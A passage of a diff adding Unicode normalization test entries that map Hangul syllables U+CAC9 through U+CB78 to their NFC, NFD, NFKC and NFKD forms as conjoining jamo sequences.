+{ source: [0xCAC9], NFC: [0xCAC9], NFD: [0x110D, 0x1169, 0x11B4], NFKC: [0xCAC9], NFKD: [0x110D, 0x1169, 0x11B4] },
+{ source: [0xCACA], NFC: [0xCACA], NFD: [0x110D, 0x1169, 0x11B5], NFKC: [0xCACA], NFKD: [0x110D, 0x1169, 0x11B5] },
+{ source: [0xCACB], NFC: [0xCACB], NFD: [0x110D, 0x1169, 0x11B6], NFKC: [0xCACB], NFKD: [0x110D, 0x1169, 0x11B6] },
+{ source: [0xCACC], NFC: [0xCACC], NFD: [0x110D, 0x1169, 0x11B7], NFKC: [0xCACC], NFKD: [0x110D, 0x1169, 0x11B7] },
+{ source: [0xCACD], NFC: [0xCACD], NFD: [0x110D, 0x1169, 0x11B8], NFKC: [0xCACD], NFKD: [0x110D, 0x1169, 0x11B8] },
+{ source: [0xCACE], NFC: [0xCACE], NFD: [0x110D, 0x1169, 0x11B9], NFKC: [0xCACE], NFKD: [0x110D, 0x1169, 0x11B9] },
+{ source: [0xCACF], NFC: [0xCACF], NFD: [0x110D, 0x1169, 0x11BA], NFKC: [0xCACF], NFKD: [0x110D, 0x1169, 0x11BA] },
+{ source: [0xCAD0], NFC: [0xCAD0], NFD: [0x110D, 0x1169, 0x11BB], NFKC: [0xCAD0], NFKD: [0x110D, 0x1169, 0x11BB] },
+{ source: [0xCAD1], NFC: [0xCAD1], NFD: [0x110D, 0x1169, 0x11BC], NFKC: [0xCAD1], NFKD: [0x110D, 0x1169, 0x11BC] },
+{ source: [0xCAD2], NFC: [0xCAD2], NFD: [0x110D, 0x1169, 0x11BD], NFKC: [0xCAD2], NFKD: [0x110D, 0x1169, 0x11BD] },
+{ source: [0xCAD3], NFC: [0xCAD3], NFD: [0x110D, 0x1169, 0x11BE], NFKC: [0xCAD3], NFKD: [0x110D, 0x1169, 0x11BE] },
+{ source: [0xCAD4], NFC: [0xCAD4], NFD: [0x110D, 0x1169, 0x11BF], NFKC: [0xCAD4], NFKD: [0x110D, 0x1169, 0x11BF] },
+{ source: [0xCAD5], NFC: [0xCAD5], NFD: [0x110D, 0x1169, 0x11C0], NFKC: [0xCAD5], NFKD: [0x110D, 0x1169, 0x11C0] },
+{ source: [0xCAD6], NFC: [0xCAD6], NFD: [0x110D, 0x1169, 0x11C1], NFKC: [0xCAD6], NFKD: [0x110D, 0x1169, 0x11C1] },
+{ source: [0xCAD7], NFC: [0xCAD7], NFD: [0x110D, 0x1169, 0x11C2], NFKC: [0xCAD7], NFKD: [0x110D, 0x1169, 0x11C2] },
+{ source: [0xCAD8], NFC: [0xCAD8], NFD: [0x110D, 0x116A], NFKC: [0xCAD8], NFKD: [0x110D, 0x116A] },
+{ source: [0xCAD9], NFC: [0xCAD9], NFD: [0x110D, 0x116A, 0x11A8], NFKC: [0xCAD9], NFKD: [0x110D, 0x116A, 0x11A8] },
+{ source: [0xCADA], NFC: [0xCADA], NFD: [0x110D, 0x116A, 0x11A9], NFKC: [0xCADA], NFKD: [0x110D, 0x116A, 0x11A9] },
+{ source: [0xCADB], NFC: [0xCADB], NFD: [0x110D, 0x116A, 0x11AA], NFKC: [0xCADB], NFKD: [0x110D, 0x116A, 0x11AA] },
+{ source: [0xCADC], NFC: [0xCADC], NFD: [0x110D, 0x116A, 0x11AB], NFKC: [0xCADC], NFKD: [0x110D, 0x116A, 0x11AB] },
+{ source: [0xCADD], NFC: [0xCADD], NFD: [0x110D, 0x116A, 0x11AC], NFKC: [0xCADD], NFKD: [0x110D, 0x116A, 0x11AC] },
+{ source: [0xCADE], NFC: [0xCADE], NFD: [0x110D, 0x116A, 0x11AD], NFKC: [0xCADE], NFKD: [0x110D, 0x116A, 0x11AD] },
+{ source: [0xCADF], NFC: [0xCADF], NFD: [0x110D, 0x116A, 0x11AE], NFKC: [0xCADF], NFKD: [0x110D, 0x116A, 0x11AE] },
+{ source: [0xCAE0], NFC: [0xCAE0], NFD: [0x110D, 0x116A, 0x11AF], NFKC: [0xCAE0], NFKD: [0x110D, 0x116A, 0x11AF] },
+{ source: [0xCAE1], NFC: [0xCAE1], NFD: [0x110D, 0x116A, 0x11B0], NFKC: [0xCAE1], NFKD: [0x110D, 0x116A, 0x11B0] },
+{ source: [0xCAE2], NFC: [0xCAE2], NFD: [0x110D, 0x116A, 0x11B1], NFKC: [0xCAE2], NFKD: [0x110D, 0x116A, 0x11B1] },
+{ source: [0xCAE3], NFC: [0xCAE3], NFD: [0x110D, 0x116A, 0x11B2], NFKC: [0xCAE3], NFKD: [0x110D, 0x116A, 0x11B2] },
+{ source: [0xCAE4], NFC: [0xCAE4], NFD: [0x110D, 0x116A, 0x11B3], NFKC: [0xCAE4], NFKD: [0x110D, 0x116A, 0x11B3] },
+{ source: [0xCAE5], NFC: [0xCAE5], NFD: [0x110D, 0x116A, 0x11B4], NFKC: [0xCAE5], NFKD: [0x110D, 0x116A, 0x11B4] },
+{ source: [0xCAE6], NFC: [0xCAE6], NFD: [0x110D, 0x116A, 0x11B5], NFKC: [0xCAE6], NFKD: [0x110D, 0x116A, 0x11B5] },
+{ source: [0xCAE7], NFC: [0xCAE7], NFD: [0x110D, 0x116A, 0x11B6], NFKC: [0xCAE7], NFKD: [0x110D, 0x116A, 0x11B6] },
+{ source: [0xCAE8], NFC: [0xCAE8], NFD: [0x110D, 0x116A, 0x11B7], NFKC: [0xCAE8], NFKD: [0x110D, 0x116A, 0x11B7] },
+{ source: [0xCAE9], NFC: [0xCAE9], NFD: [0x110D, 0x116A, 0x11B8], NFKC: [0xCAE9], NFKD: [0x110D, 0x116A, 0x11B8] },
+{ source: [0xCAEA], NFC: [0xCAEA], NFD: [0x110D, 0x116A, 0x11B9], NFKC: [0xCAEA], NFKD: [0x110D, 0x116A, 0x11B9] },
+{ source: [0xCAEB], NFC: [0xCAEB], NFD: [0x110D, 0x116A, 0x11BA], NFKC: [0xCAEB], NFKD: [0x110D, 0x116A, 0x11BA] },
+{ source: [0xCAEC], NFC: [0xCAEC], NFD: [0x110D, 0x116A, 0x11BB], NFKC: [0xCAEC], NFKD: [0x110D, 0x116A, 0x11BB] },
+{ source: [0xCAED], NFC: [0xCAED], NFD: [0x110D, 0x116A, 0x11BC], NFKC: [0xCAED], NFKD: [0x110D, 0x116A, 0x11BC] },
+{ source: [0xCAEE], NFC: [0xCAEE], NFD: [0x110D, 0x116A, 0x11BD], NFKC: [0xCAEE], NFKD: [0x110D, 0x116A, 0x11BD] },
+{ source: [0xCAEF], NFC: [0xCAEF], NFD: [0x110D, 0x116A, 0x11BE], NFKC: [0xCAEF], NFKD: [0x110D, 0x116A, 0x11BE] },
+{ source: [0xCAF0], NFC: [0xCAF0], NFD: [0x110D, 0x116A, 0x11BF], NFKC: [0xCAF0], NFKD: [0x110D, 0x116A, 0x11BF] },
+{ source: [0xCAF1], NFC: [0xCAF1], NFD: [0x110D, 0x116A, 0x11C0], NFKC: [0xCAF1], NFKD: [0x110D, 0x116A, 0x11C0] },
+{ source: [0xCAF2], NFC: [0xCAF2], NFD: [0x110D, 0x116A, 0x11C1], NFKC: [0xCAF2], NFKD: [0x110D, 0x116A, 0x11C1] },
+{ source: [0xCAF3], NFC: [0xCAF3], NFD: [0x110D, 0x116A, 0x11C2], NFKC: [0xCAF3], NFKD: [0x110D, 0x116A, 0x11C2] },
+{ source: [0xCAF4], NFC: [0xCAF4], NFD: [0x110D, 0x116B], NFKC: [0xCAF4], NFKD: [0x110D, 0x116B] },
+{ source: [0xCAF5], NFC: [0xCAF5], NFD: [0x110D, 0x116B, 0x11A8], NFKC: [0xCAF5], NFKD: [0x110D, 0x116B, 0x11A8] },
+{ source: [0xCAF6], NFC: [0xCAF6], NFD: [0x110D, 0x116B, 0x11A9], NFKC: [0xCAF6], NFKD: [0x110D, 0x116B, 0x11A9] },
+{ source: [0xCAF7], NFC: [0xCAF7], NFD: [0x110D, 0x116B, 0x11AA], NFKC: [0xCAF7], NFKD: [0x110D, 0x116B, 0x11AA] },
+{ source: [0xCAF8], NFC: [0xCAF8], NFD: [0x110D, 0x116B, 0x11AB], NFKC: [0xCAF8], NFKD: [0x110D, 0x116B, 0x11AB] },
+{ source: [0xCAF9], NFC: [0xCAF9], NFD: [0x110D, 0x116B, 0x11AC], NFKC: [0xCAF9], NFKD: [0x110D, 0x116B, 0x11AC] },
+{ source: [0xCAFA], NFC: [0xCAFA], NFD: [0x110D, 0x116B, 0x11AD], NFKC: [0xCAFA], NFKD: [0x110D, 0x116B, 0x11AD] },
+{ source: [0xCAFB], NFC: [0xCAFB], NFD: [0x110D, 0x116B, 0x11AE], NFKC: [0xCAFB], NFKD: [0x110D, 0x116B, 0x11AE] },
+{ source: [0xCAFC], NFC: [0xCAFC], NFD: [0x110D, 0x116B, 0x11AF], NFKC: [0xCAFC], NFKD: [0x110D, 0x116B, 0x11AF] },
+{ source: [0xCAFD], NFC: [0xCAFD], NFD: [0x110D, 0x116B, 0x11B0], NFKC: [0xCAFD], NFKD: [0x110D, 0x116B, 0x11B0] },
+{ source: [0xCAFE], NFC: [0xCAFE], NFD: [0x110D, 0x116B, 0x11B1], NFKC: [0xCAFE], NFKD: [0x110D, 0x116B, 0x11B1] },
+{ source: [0xCAFF], NFC: [0xCAFF], NFD: [0x110D, 0x116B, 0x11B2], NFKC: [0xCAFF], NFKD: [0x110D, 0x116B, 0x11B2] },
+{ source: [0xCB00], NFC: [0xCB00], NFD: [0x110D, 0x116B, 0x11B3], NFKC: [0xCB00], NFKD: [0x110D, 0x116B, 0x11B3] },
+{ source: [0xCB01], NFC: [0xCB01], NFD: [0x110D, 0x116B, 0x11B4], NFKC: [0xCB01], NFKD: [0x110D, 0x116B, 0x11B4] },
+{ source: [0xCB02], NFC: [0xCB02], NFD: [0x110D, 0x116B, 0x11B5], NFKC: [0xCB02], NFKD: [0x110D, 0x116B, 0x11B5] },
+{ source: [0xCB03], NFC: [0xCB03], NFD: [0x110D, 0x116B, 0x11B6], NFKC: [0xCB03], NFKD: [0x110D, 0x116B, 0x11B6] },
+{ source: [0xCB04], NFC: [0xCB04], NFD: [0x110D, 0x116B, 0x11B7], NFKC: [0xCB04], NFKD: [0x110D, 0x116B, 0x11B7] },
+{ source: [0xCB05], NFC: [0xCB05], NFD: [0x110D, 0x116B, 0x11B8], NFKC: [0xCB05], NFKD: [0x110D, 0x116B, 0x11B8] },
+{ source: [0xCB06], NFC: [0xCB06], NFD: [0x110D, 0x116B, 0x11B9], NFKC: [0xCB06], NFKD: [0x110D, 0x116B, 0x11B9] },
+{ source: [0xCB07], NFC: [0xCB07], NFD: [0x110D, 0x116B, 0x11BA], NFKC: [0xCB07], NFKD: [0x110D, 0x116B, 0x11BA] },
+{ source: [0xCB08], NFC: [0xCB08], NFD: [0x110D, 0x116B, 0x11BB], NFKC: [0xCB08], NFKD: [0x110D, 0x116B, 0x11BB] },
+{ source: [0xCB09], NFC: [0xCB09], NFD: [0x110D, 0x116B, 0x11BC], NFKC: [0xCB09], NFKD: [0x110D, 0x116B, 0x11BC] },
+{ source: [0xCB0A], NFC: [0xCB0A], NFD: [0x110D, 0x116B, 0x11BD], NFKC: [0xCB0A], NFKD: [0x110D, 0x116B, 0x11BD] },
+{ source: [0xCB0B], NFC: [0xCB0B], NFD: [0x110D, 0x116B, 0x11BE], NFKC: [0xCB0B], NFKD: [0x110D, 0x116B, 0x11BE] },
+{ source: [0xCB0C], NFC: [0xCB0C], NFD: [0x110D, 0x116B, 0x11BF], NFKC: [0xCB0C], NFKD: [0x110D, 0x116B, 0x11BF] },
+{ source: [0xCB0D], NFC: [0xCB0D], NFD: [0x110D, 0x116B, 0x11C0], NFKC: [0xCB0D], NFKD: [0x110D, 0x116B, 0x11C0] },
+{ source: [0xCB0E], NFC: [0xCB0E], NFD: [0x110D, 0x116B, 0x11C1], NFKC: [0xCB0E], NFKD: [0x110D, 0x116B, 0x11C1] },
+{ source: [0xCB0F], NFC: [0xCB0F], NFD: [0x110D, 0x116B, 0x11C2], NFKC: [0xCB0F], NFKD: [0x110D, 0x116B, 0x11C2] },
+{ source: [0xCB10], NFC: [0xCB10], NFD: [0x110D, 0x116C], NFKC: [0xCB10], NFKD: [0x110D, 0x116C] },
+{ source: [0xCB11], NFC: [0xCB11], NFD: [0x110D, 0x116C, 0x11A8], NFKC: [0xCB11], NFKD: [0x110D, 0x116C, 0x11A8] },
+{ source: [0xCB12], NFC: [0xCB12], NFD: [0x110D, 0x116C, 0x11A9], NFKC: [0xCB12], NFKD: [0x110D, 0x116C, 0x11A9] },
+{ source: [0xCB13], NFC: [0xCB13], NFD: [0x110D, 0x116C, 0x11AA], NFKC: [0xCB13], NFKD: [0x110D, 0x116C, 0x11AA] },
+{ source: [0xCB14], NFC: [0xCB14], NFD: [0x110D, 0x116C, 0x11AB], NFKC: [0xCB14], NFKD: [0x110D, 0x116C, 0x11AB] },
+{ source: [0xCB15], NFC: [0xCB15], NFD: [0x110D, 0x116C, 0x11AC], NFKC: [0xCB15], NFKD: [0x110D, 0x116C, 0x11AC] },
+{ source: [0xCB16], NFC: [0xCB16], NFD: [0x110D, 0x116C, 0x11AD], NFKC: [0xCB16], NFKD: [0x110D, 0x116C, 0x11AD] },
+{ source: [0xCB17], NFC: [0xCB17], NFD: [0x110D, 0x116C, 0x11AE], NFKC: [0xCB17], NFKD: [0x110D, 0x116C, 0x11AE] },
+{ source: [0xCB18], NFC: [0xCB18], NFD: [0x110D, 0x116C, 0x11AF], NFKC: [0xCB18], NFKD: [0x110D, 0x116C, 0x11AF] },
+{ source: [0xCB19], NFC: [0xCB19], NFD: [0x110D, 0x116C, 0x11B0], NFKC: [0xCB19], NFKD: [0x110D, 0x116C, 0x11B0] },
+{ source: [0xCB1A], NFC: [0xCB1A], NFD: [0x110D, 0x116C, 0x11B1], NFKC: [0xCB1A], NFKD: [0x110D, 0x116C, 0x11B1] },
+{ source: [0xCB1B], NFC: [0xCB1B], NFD: [0x110D, 0x116C, 0x11B2], NFKC: [0xCB1B], NFKD: [0x110D, 0x116C, 0x11B2] },
+{ source: [0xCB1C], NFC: [0xCB1C], NFD: [0x110D, 0x116C, 0x11B3], NFKC: [0xCB1C], NFKD: [0x110D, 0x116C, 0x11B3] },
+{ source: [0xCB1D], NFC: [0xCB1D], NFD: [0x110D, 0x116C, 0x11B4], NFKC: [0xCB1D], NFKD: [0x110D, 0x116C, 0x11B4] },
+{ source: [0xCB1E], NFC: [0xCB1E], NFD: [0x110D, 0x116C, 0x11B5], NFKC: [0xCB1E], NFKD: [0x110D, 0x116C, 0x11B5] },
+{ source: [0xCB1F], NFC: [0xCB1F], NFD: [0x110D, 0x116C, 0x11B6], NFKC: [0xCB1F], NFKD: [0x110D, 0x116C, 0x11B6] },
+{ source: [0xCB20], NFC: [0xCB20], NFD: [0x110D, 0x116C, 0x11B7], NFKC: [0xCB20], NFKD: [0x110D, 0x116C, 0x11B7] },
+{ source: [0xCB21], NFC: [0xCB21], NFD: [0x110D, 0x116C, 0x11B8], NFKC: [0xCB21], NFKD: [0x110D, 0x116C, 0x11B8] },
+{ source: [0xCB22], NFC: [0xCB22], NFD: [0x110D, 0x116C, 0x11B9], NFKC: [0xCB22], NFKD: [0x110D, 0x116C, 0x11B9] },
+{ source: [0xCB23], NFC: [0xCB23], NFD: [0x110D, 0x116C, 0x11BA], NFKC: [0xCB23], NFKD: [0x110D, 0x116C, 0x11BA] },
+{ source: [0xCB24], NFC: [0xCB24], NFD: [0x110D, 0x116C, 0x11BB], NFKC: [0xCB24], NFKD: [0x110D, 0x116C, 0x11BB] },
+{ source: [0xCB25], NFC: [0xCB25], NFD: [0x110D, 0x116C, 0x11BC], NFKC: [0xCB25], NFKD: [0x110D, 0x116C, 0x11BC] },
+{ source: [0xCB26], NFC: [0xCB26], NFD: [0x110D, 0x116C, 0x11BD], NFKC: [0xCB26], NFKD: [0x110D, 0x116C, 0x11BD] },
+{ source: [0xCB27], NFC: [0xCB27], NFD: [0x110D, 0x116C, 0x11BE], NFKC: [0xCB27], NFKD: [0x110D, 0x116C, 0x11BE] },
+{ source: [0xCB28], NFC: [0xCB28], NFD: [0x110D, 0x116C, 0x11BF], NFKC: [0xCB28], NFKD: [0x110D, 0x116C, 0x11BF] },
+{ source: [0xCB29], NFC: [0xCB29], NFD: [0x110D, 0x116C, 0x11C0], NFKC: [0xCB29], NFKD: [0x110D, 0x116C, 0x11C0] },
+{ source: [0xCB2A], NFC: [0xCB2A], NFD: [0x110D, 0x116C, 0x11C1], NFKC: [0xCB2A], NFKD: [0x110D, 0x116C, 0x11C1] },
+{ source: [0xCB2B], NFC: [0xCB2B], NFD: [0x110D, 0x116C, 0x11C2], NFKC: [0xCB2B], NFKD: [0x110D, 0x116C, 0x11C2] },
+{ source: [0xCB2C], NFC: [0xCB2C], NFD: [0x110D, 0x116D], NFKC: [0xCB2C], NFKD: [0x110D, 0x116D] },
+{ source: [0xCB2D], NFC: [0xCB2D], NFD: [0x110D, 0x116D, 0x11A8], NFKC: [0xCB2D], NFKD: [0x110D, 0x116D, 0x11A8] },
+{ source: [0xCB2E], NFC: [0xCB2E], NFD: [0x110D, 0x116D, 0x11A9], NFKC: [0xCB2E], NFKD: [0x110D, 0x116D, 0x11A9] },
+{ source: [0xCB2F], NFC: [0xCB2F], NFD: [0x110D, 0x116D, 0x11AA], NFKC: [0xCB2F], NFKD: [0x110D, 0x116D, 0x11AA] },
+{ source: [0xCB30], NFC: [0xCB30], NFD: [0x110D, 0x116D, 0x11AB], NFKC: [0xCB30], NFKD: [0x110D, 0x116D, 0x11AB] },
+{ source: [0xCB31], NFC: [0xCB31], NFD: [0x110D, 0x116D, 0x11AC], NFKC: [0xCB31], NFKD: [0x110D, 0x116D, 0x11AC] },
+{ source: [0xCB32], NFC: [0xCB32], NFD: [0x110D, 0x116D, 0x11AD], NFKC: [0xCB32], NFKD: [0x110D, 0x116D, 0x11AD] },
+{ source: [0xCB33], NFC: [0xCB33], NFD: [0x110D, 0x116D, 0x11AE], NFKC: [0xCB33], NFKD: [0x110D, 0x116D, 0x11AE] },
+{ source: [0xCB34], NFC: [0xCB34], NFD: [0x110D, 0x116D, 0x11AF], NFKC: [0xCB34], NFKD: [0x110D, 0x116D, 0x11AF] },
+{ source: [0xCB35], NFC: [0xCB35], NFD: [0x110D, 0x116D, 0x11B0], NFKC: [0xCB35], NFKD: [0x110D, 0x116D, 0x11B0] },
+{ source: [0xCB36], NFC: [0xCB36], NFD: [0x110D, 0x116D, 0x11B1], NFKC: [0xCB36], NFKD: [0x110D, 0x116D, 0x11B1] },
+{ source: [0xCB37], NFC: [0xCB37], NFD: [0x110D, 0x116D, 0x11B2], NFKC: [0xCB37], NFKD: [0x110D, 0x116D, 0x11B2] },
+{ source: [0xCB38], NFC: [0xCB38], NFD: [0x110D, 0x116D, 0x11B3], NFKC: [0xCB38], NFKD: [0x110D, 0x116D, 0x11B3] },
+{ source: [0xCB39], NFC: [0xCB39], NFD: [0x110D, 0x116D, 0x11B4], NFKC: [0xCB39], NFKD: [0x110D, 0x116D, 0x11B4] },
+{ source: [0xCB3A], NFC: [0xCB3A], NFD: [0x110D, 0x116D, 0x11B5], NFKC: [0xCB3A], NFKD: [0x110D, 0x116D, 0x11B5] },
+{ source: [0xCB3B], NFC: [0xCB3B], NFD: [0x110D, 0x116D, 0x11B6], NFKC: [0xCB3B], NFKD: [0x110D, 0x116D, 0x11B6] },
+{ source: [0xCB3C], NFC: [0xCB3C], NFD: [0x110D, 0x116D, 0x11B7], NFKC: [0xCB3C], NFKD: [0x110D, 0x116D, 0x11B7] },
+{ source: [0xCB3D], NFC: [0xCB3D], NFD: [0x110D, 0x116D, 0x11B8], NFKC: [0xCB3D], NFKD: [0x110D, 0x116D, 0x11B8] },
+{ source: [0xCB3E], NFC: [0xCB3E], NFD: [0x110D, 0x116D, 0x11B9], NFKC: [0xCB3E], NFKD: [0x110D, 0x116D, 0x11B9] },
+{ source: [0xCB3F], NFC: [0xCB3F], NFD: [0x110D, 0x116D, 0x11BA], NFKC: [0xCB3F], NFKD: [0x110D, 0x116D, 0x11BA] },
+{ source: [0xCB40], NFC: [0xCB40], NFD: [0x110D, 0x116D, 0x11BB], NFKC: [0xCB40], NFKD: [0x110D, 0x116D, 0x11BB] },
+{ source: [0xCB41], NFC: [0xCB41], NFD: [0x110D, 0x116D, 0x11BC], NFKC: [0xCB41], NFKD: [0x110D, 0x116D, 0x11BC] },
+{ source: [0xCB42], NFC: [0xCB42], NFD: [0x110D, 0x116D, 0x11BD], NFKC: [0xCB42], NFKD: [0x110D, 0x116D, 0x11BD] },
+{ source: [0xCB43], NFC: [0xCB43], NFD: [0x110D, 0x116D, 0x11BE], NFKC: [0xCB43], NFKD: [0x110D, 0x116D, 0x11BE] },
+{ source: [0xCB44], NFC: [0xCB44], NFD: [0x110D, 0x116D, 0x11BF], NFKC: [0xCB44], NFKD: [0x110D, 0x116D, 0x11BF] },
+{ source: [0xCB45], NFC: [0xCB45], NFD: [0x110D, 0x116D, 0x11C0], NFKC: [0xCB45], NFKD: [0x110D, 0x116D, 0x11C0] },
+{ source: [0xCB46], NFC: [0xCB46], NFD: [0x110D, 0x116D, 0x11C1], NFKC: [0xCB46], NFKD: [0x110D, 0x116D, 0x11C1] },
+{ source: [0xCB47], NFC: [0xCB47], NFD: [0x110D, 0x116D, 0x11C2], NFKC: [0xCB47], NFKD: [0x110D, 0x116D, 0x11C2] },
+{ source: [0xCB48], NFC: [0xCB48], NFD: [0x110D, 0x116E], NFKC: [0xCB48], NFKD: [0x110D, 0x116E] },
+{ source: [0xCB49], NFC: [0xCB49], NFD: [0x110D, 0x116E, 0x11A8], NFKC: [0xCB49], NFKD: [0x110D, 0x116E, 0x11A8] },
+{ source: [0xCB4A], NFC: [0xCB4A], NFD: [0x110D, 0x116E, 0x11A9], NFKC: [0xCB4A], NFKD: [0x110D, 0x116E, 0x11A9] },
+{ source: [0xCB4B], NFC: [0xCB4B], NFD: [0x110D, 0x116E, 0x11AA], NFKC: [0xCB4B], NFKD: [0x110D, 0x116E, 0x11AA] },
+{ source: [0xCB4C], NFC: [0xCB4C], NFD: [0x110D, 0x116E, 0x11AB], NFKC: [0xCB4C], NFKD: [0x110D, 0x116E, 0x11AB] },
+{ source: [0xCB4D], NFC: [0xCB4D], NFD: [0x110D, 0x116E, 0x11AC], NFKC: [0xCB4D], NFKD: [0x110D, 0x116E, 0x11AC] },
+{ source: [0xCB4E], NFC: [0xCB4E], NFD: [0x110D, 0x116E, 0x11AD], NFKC: [0xCB4E], NFKD: [0x110D, 0x116E, 0x11AD] },
+{ source: [0xCB4F], NFC: [0xCB4F], NFD: [0x110D, 0x116E, 0x11AE], NFKC: [0xCB4F], NFKD: [0x110D, 0x116E, 0x11AE] },
+{ source: [0xCB50], NFC: [0xCB50], NFD: [0x110D, 0x116E, 0x11AF], NFKC: [0xCB50], NFKD: [0x110D, 0x116E, 0x11AF] },
+{ source: [0xCB51], NFC: [0xCB51], NFD: [0x110D, 0x116E, 0x11B0], NFKC: [0xCB51], NFKD: [0x110D, 0x116E, 0x11B0] },
+{ source: [0xCB52], NFC: [0xCB52], NFD: [0x110D, 0x116E, 0x11B1], NFKC: [0xCB52], NFKD: [0x110D, 0x116E, 0x11B1] },
+{ source: [0xCB53], NFC: [0xCB53], NFD: [0x110D, 0x116E, 0x11B2], NFKC: [0xCB53], NFKD: [0x110D, 0x116E, 0x11B2] },
+{ source: [0xCB54], NFC: [0xCB54], NFD: [0x110D, 0x116E, 0x11B3], NFKC: [0xCB54], NFKD: [0x110D, 0x116E, 0x11B3] },
+{ source: [0xCB55], NFC: [0xCB55], NFD: [0x110D, 0x116E, 0x11B4], NFKC: [0xCB55], NFKD: [0x110D, 0x116E, 0x11B4] },
+{ source: [0xCB56], NFC: [0xCB56], NFD: [0x110D, 0x116E, 0x11B5], NFKC: [0xCB56], NFKD: [0x110D, 0x116E, 0x11B5] },
+{ source: [0xCB57], NFC: [0xCB57], NFD: [0x110D, 0x116E, 0x11B6], NFKC: [0xCB57], NFKD: [0x110D, 0x116E, 0x11B6] },
+{ source: [0xCB58], NFC: [0xCB58], NFD: [0x110D, 0x116E, 0x11B7], NFKC: [0xCB58], NFKD: [0x110D, 0x116E, 0x11B7] },
+{ source: [0xCB59], NFC: [0xCB59], NFD: [0x110D, 0x116E, 0x11B8], NFKC: [0xCB59], NFKD: [0x110D, 0x116E, 0x11B8] },
+{ source: [0xCB5A], NFC: [0xCB5A], NFD: [0x110D, 0x116E, 0x11B9], NFKC: [0xCB5A], NFKD: [0x110D, 0x116E, 0x11B9] },
+{ source: [0xCB5B], NFC: [0xCB5B], NFD: [0x110D, 0x116E, 0x11BA], NFKC: [0xCB5B], NFKD: [0x110D, 0x116E, 0x11BA] },
+{ source: [0xCB5C], NFC: [0xCB5C], NFD: [0x110D, 0x116E, 0x11BB], NFKC: [0xCB5C], NFKD: [0x110D, 0x116E, 0x11BB] },
+{ source: [0xCB5D], NFC: [0xCB5D], NFD: [0x110D, 0x116E, 0x11BC], NFKC: [0xCB5D], NFKD: [0x110D, 0x116E, 0x11BC] },
+{ source: [0xCB5E], NFC: [0xCB5E], NFD: [0x110D, 0x116E, 0x11BD], NFKC: [0xCB5E], NFKD: [0x110D, 0x116E, 0x11BD] },
+{ source: [0xCB5F], NFC: [0xCB5F], NFD: [0x110D, 0x116E, 0x11BE], NFKC: [0xCB5F], NFKD: [0x110D, 0x116E, 0x11BE] },
+{ source: [0xCB60], NFC: [0xCB60], NFD: [0x110D, 0x116E, 0x11BF], NFKC: [0xCB60], NFKD: [0x110D, 0x116E, 0x11BF] },
+{ source: [0xCB61], NFC: [0xCB61], NFD: [0x110D, 0x116E, 0x11C0], NFKC: [0xCB61], NFKD: [0x110D, 0x116E, 0x11C0] },
+{ source: [0xCB62], NFC: [0xCB62], NFD: [0x110D, 0x116E, 0x11C1], NFKC: [0xCB62], NFKD: [0x110D, 0x116E, 0x11C1] },
+{ source: [0xCB63], NFC: [0xCB63], NFD: [0x110D, 0x116E, 0x11C2], NFKC: [0xCB63], NFKD: [0x110D, 0x116E, 0x11C2] },
+{ source: [0xCB64], NFC: [0xCB64], NFD: [0x110D, 0x116F], NFKC: [0xCB64], NFKD: [0x110D, 0x116F] },
+{ source: [0xCB65], NFC: [0xCB65], NFD: [0x110D, 0x116F, 0x11A8], NFKC: [0xCB65], NFKD: [0x110D, 0x116F, 0x11A8] },
+{ source: [0xCB66], NFC: [0xCB66], NFD: [0x110D, 0x116F, 0x11A9], NFKC: [0xCB66], NFKD: [0x110D, 0x116F, 0x11A9] },
+{ source: [0xCB67], NFC: [0xCB67], NFD: [0x110D, 0x116F, 0x11AA], NFKC: [0xCB67], NFKD: [0x110D, 0x116F, 0x11AA] },
+{ source: [0xCB68], NFC: [0xCB68], NFD: [0x110D, 0x116F, 0x11AB], NFKC: [0xCB68], NFKD: [0x110D, 0x116F, 0x11AB] },
+{ source: [0xCB69], NFC: [0xCB69], NFD: [0x110D, 0x116F, 0x11AC], NFKC: [0xCB69], NFKD: [0x110D, 0x116F, 0x11AC] },
+{ source: [0xCB6A], NFC: [0xCB6A], NFD: [0x110D, 0x116F, 0x11AD], NFKC: [0xCB6A], NFKD: [0x110D, 0x116F, 0x11AD] },
+{ source: [0xCB6B], NFC: [0xCB6B], NFD: [0x110D, 0x116F, 0x11AE], NFKC: [0xCB6B], NFKD: [0x110D, 0x116F, 0x11AE] },
+{ source: [0xCB6C], NFC: [0xCB6C], NFD: [0x110D, 0x116F, 0x11AF], NFKC: [0xCB6C], NFKD: [0x110D, 0x116F, 0x11AF] },
+{ source: [0xCB6D], NFC: [0xCB6D], NFD: [0x110D, 0x116F, 0x11B0], NFKC: [0xCB6D], NFKD: [0x110D, 0x116F, 0x11B0] },
+{ source: [0xCB6E], NFC: [0xCB6E], NFD: [0x110D, 0x116F, 0x11B1], NFKC: [0xCB6E], NFKD: [0x110D, 0x116F, 0x11B1] },
+{ source: [0xCB6F], NFC: [0xCB6F], NFD: [0x110D, 0x116F, 0x11B2], NFKC: [0xCB6F], NFKD: [0x110D, 0x116F, 0x11B2] },
+{ source: [0xCB70], NFC: [0xCB70], NFD: [0x110D, 0x116F, 0x11B3], NFKC: [0xCB70], NFKD: [0x110D, 0x116F, 0x11B3] },
+{ source: [0xCB71], NFC: [0xCB71], NFD: [0x110D, 0x116F, 0x11B4], NFKC: [0xCB71], NFKD: [0x110D, 0x116F, 0x11B4] },
+{ source: [0xCB72], NFC: [0xCB72], NFD: [0x110D, 0x116F, 0x11B5], NFKC: [0xCB72], NFKD: [0x110D, 0x116F, 0x11B5] },
+{ source: [0xCB73], NFC: [0xCB73], NFD: [0x110D, 0x116F, 0x11B6], NFKC: [0xCB73], NFKD: [0x110D, 0x116F, 0x11B6] },
+{ source: [0xCB74], NFC: [0xCB74], NFD: [0x110D, 0x116F, 0x11B7], NFKC: [0xCB74], NFKD: [0x110D, 0x116F, 0x11B7] },
+{ source: [0xCB75], NFC: [0xCB75], NFD: [0x110D, 0x116F, 0x11B8], NFKC: [0xCB75], NFKD: [0x110D, 0x116F, 0x11B8] },
+{ source: [0xCB76], NFC: [0xCB76], NFD: [0x110D, 0x116F, 0x11B9], NFKC: [0xCB76], NFKD: [0x110D, 0x116F, 0x11B9] },
+{ source: [0xCB77], NFC: [0xCB77], NFD: [0x110D, 0x116F, 0x11BA], NFKC: [0xCB77], NFKD: [0x110D, 0x116F, 0x11BA] },
+{ source: [0xCB78], NFC: [0xCB78], NFD: [0x110D, 0x116F, 0x11BB], NFKC: [0xCB78], NFKD: [0x110D, 0x116F, 0x11BB] },
